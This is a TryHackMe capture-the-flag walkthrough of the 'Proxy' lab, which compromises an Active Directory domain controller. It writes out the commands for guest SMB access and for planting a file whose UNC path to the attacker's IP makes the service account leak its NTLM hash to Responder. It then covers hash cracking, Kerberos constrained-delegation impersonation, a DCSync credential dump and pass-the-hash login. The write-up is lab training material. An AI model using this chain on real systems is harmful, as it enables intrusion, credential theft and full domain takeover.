Post cover image

October 17, 2026

Proxy Walkthrough | TryHackMe

Scenario

By TheAbdullah

5 min read

Scenario

Every request has to go through someone… but what if that someone is you? Route your way through an Active Directory environment, intercept what you shouldn't, and pull the strings from behind the proxy. Nothing gets through without your say.

Target-IP: 10.114.168.198

Room Link: Proxy

None

Attack Summary

  1. Reconnaissance: Identified an Active Directory Domain Controller (DC01.ctf.local) with ports 53, 88, 389, and 445 open.
  2. SMB Enumeration: Discovered anonymous access with write permissions to IT-Shared, finding backup notes revealing a scheduled file processor running under svc.scanner.
  3. Credential Harvesting: Uploaded a PowerShell script, triggering an authentication attempt captured by Responder.
  4. Offline Cracking: Cracked the NetNTLMv2 hash of svc.scanner using John the Ripper.
  5. Domain Analysis: Mapped the domain using BloodHound and discovered svc.scanner has AllowedToDelegate rights over DC01.ctf.local.
  6. Privilege Escalation: Exploited Kerberos Constrained Delegation with Impacket's getST.py to impersonate Administrator, performed DCSync with secretsdump.py, and accessed the host via Evil-WinRM.

Required Tools

sudo apt install rustscan nmap impacket-scripts bloodhound.py responder smbclient john netexec evil-winrm -y

Recon

We use the rustscan tool to enumerate open ports on the target, piping the results into Nmap for service and version detection:

rustscan -a 10.114.168.198 -b 500 --top -- -sC -sV -oN Proxy
  • -a: specifies the target IP address.
  • -b: specifies the batch size for scanning.
  • — top: scans the top 1000 ports.
  • — : pipe the results to Nmap for further scanning.
  • -sC: runs the default scripts in Nmap.
  • -sV: runs version detection.
  • -oN: outputs the results in the specified file.
None
  • Port 53 (DNS): Domain name resolution.
  • Port 88 (Kerberos): Key giveaway that this machine is a Domain Controller (DC01.ctf.local).
  • Port 135 (MSRPC): Microsoft RPC service.
  • Port 389 / 3268 (LDAP / Global Catalog): Active Directory directory services.
  • Port 445 (SMB): File sharing.
  • Port 5985 (WinRM): Windows Remote Management.
None

With port 445 open, we check if anonymous or guest access is allowed using NetExec (nxc):

nxc smb 10.114.168.198 -u 'guest' -p '' --shares

It successfully logged in as anonymous with "guest "and listed the available shares on the target machine.

None

The output confirms guest access is accepted and lists a custom share named IT-Shared with READ and WRITE permissions.

We connect to the share using smbclient:

smbclient //10.114.168.198/IT-Shared -N

We successfully connected to the share and listed its files and then downloaded all the files in it by using mget *.

None None
  • In IT-Credentials-Backup.txt, I found two ex-employeeshepdesk.bob and it.admin.
  • In IT-Onboarding-Checklist.txt, it was clearly stated that svc.scanner runs every 2 min and processes new files added in the share.

Furthermore, we will generate a /etc/hosts entry by using nxc.

nxc smb 10.114.168.198 -u 'guest' -p '' --generate-hosts-file host
None

Capture The Hash

Since svc.scanner evaluates files added to the share every 2 minutes, we can drop a file referencing our attacker IP. When the scanner inspects the file, Windows will attempt to authenticate to our machine using the NTLM protocol.

Get-ChildItem //192.168.131.251/t.txt

//<ip> paste your tun0ip.

First, we have to make our machine listen, and the tool I used is responder

sudo responder -I tun0 -dvw
None

We connect to the share again and upload the .ps1file.

None

After a while, we got the NTLMv2 Hash.

None

We are using john to crack it.

john hash --wordlist=/usr/share/wordlists/rockyou.txt
None

We successfully got the password; now verify it. Also, list the available users.

nxc smb 10.114.168.198 -u 'svc.scanner' -p '<passwd>' --users
None

Bloodhound Enumeration

As we have the password of svc.scanner now we try to enumerate the domain using BloodHound.

bloodhound-python -u 'svc.scanner' -p '<passwd>' -d ctf.local -dc DC01.ctf.local -ns 10.114.168.198 -c ALL --zip
  • -u: username
  • -p: password
  • -d: Domain
  • -dc: Hostname
  • -ns: nameserver
None

Now just upload this zip file into BloodHound and start examining.

Here we see that it svc.scanner has the AllowedToDelegate permission to the Domain Controller.

None

It is the beauty of BloodHound that it also tells you how to abuse it.

None

The getST.py is from impacket-scripts

Why is Constrained Delegation Vulnerable?

Constrained Delegation allows a service account (svc.scanner) to impersonate users to a specific SPN (cifs/DC01.ctf.local).

Using the Kerberos Service-for-User (S4U) extensions:

  1. S4U2self: The account requests a Kerberos ticket to itself on behalf of any arbitrary domain user (including Administrator), without requiring that user's password.
  2. S4U2proxy: The account then exchanges that ticket with the KDC for a valid service ticket to access the delegated target (cifs/DC01.ctf.local) as the impersonated user.

Escalate the Privileges

We requested the Administrator service ticket using the above-suggested tool.

impacket-getST ctf.local/svc.scanner:'<passwd>' -spn cifs/DC01.ctf.local -impersonate Administrator -dc-ip DC01.ctf.local
None

And we got it successfully; now we have to export the KRB5CCNAME environment variable to point Impacket at the newly obtained .ccache file, so Impacket authenticates using the Administrator's Kerberos ticket instead of a password.

export KRB5CCNAME=Administrator@cifs_DC01.ctf.local@CTF.LOCAL.ccache
None

Perform a DCSync Attack

Using the ticket, we authenticate as Administrator without providing a password (-k -no-pass) and dump the Active Directory database:

impacket-secretsdump -k -no-pass ctf.local/Administrator@DC01.ctf.local

secretsdump is using the cached ticket to authenticate as Administrator -k -no-pass.

None

We successfully got the required hash.

Gaining Access

With the Administrator NTLM hash in hand, we execute a Pass-the-Hash attack using Evil-WinRM:

evil-winrm -u Administrator -H <hash> -i 10.114.168.198
None

Finally, we got the shell and the flag.